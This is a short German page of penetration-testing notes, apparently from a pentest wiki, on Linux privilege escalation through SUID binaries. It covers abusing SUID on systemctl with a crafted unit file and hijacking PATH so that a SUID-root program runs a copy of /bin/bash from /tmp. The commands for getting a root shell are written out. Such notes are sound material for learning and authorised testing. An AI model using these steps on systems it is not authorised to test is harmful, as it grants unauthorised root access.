SUID & SGID

SUID set on systemctl

Erstelle ein unit file. Bsp. privsec.service

Aktiviere und starte das Unit file

systemctl enable /pfad/zum/file/privsec.service
systemctl start privsec.service

SUID & writeable PATH

Annahme: Man findet heraus, dass in einem Binary mit SUID root ein anderes Binary aufgerufen wird bei dem kein absoluter Pfad definiert wurde.

Wenn man nun ein eigenes Binary erstellt (bsp. Kopie von /bin/bash), diesem den gleichen namen gibt wie das verwendet im SUID file und man diesen so platziert, dass er bei der suche nach dem Binary zuerst auf unser eigenes stösst (PATH Variable wird von Links nach rechts abgearbeitet) so haben wir eine root shell.

get PATH Variable

$ echo $PATH
or
$ env | grep -i path

Achtung, folgender Befehl funktioniert nur wenn sich damit der PATH vom root überschreiben lässt.

$ echo /bin/bash > /tmp/<name-vom-binary-verwendet-im-SUID-file>
$ chmod 777 /tmp/<name-vom-binary-verwendet-im-SUID-file> # executable machen
$ export PATH=/tmp:$PATH
$ <start-SUID-file>

Further Information

Last updated